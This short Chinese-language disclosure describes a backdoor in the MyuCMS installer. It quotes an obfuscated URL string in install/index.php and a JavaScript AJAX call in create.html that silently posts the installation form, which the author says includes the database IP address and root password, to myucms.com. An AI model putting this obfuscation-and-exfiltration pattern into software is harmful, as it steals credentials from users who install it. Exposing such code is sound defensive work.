myucms后门

安装系统的时候，
install/index.php,Line-21,
$url    = preg_replace('|[0-9]+|', '', 'h0t1t2p0:3/4/5w6w7w0.1m2y5u4c5m6s3.c2o1m'); 
create.html
Line-169行，
    function insert() {
      document.getElementById("bky").style.display = "inline";
      $.ajax({
        type: "POST", url: "<?php echo $url; ?>/index/index/keybb.html" , 
        data: $('#keydb').serialize(),
      });
    }
<input type="submit" οnclick="insert()" lay-submit lay-filter="formDemo" value="点击安装">
用户“点击安装”后，会把数据的IP地址和root密码发送给myucms.com,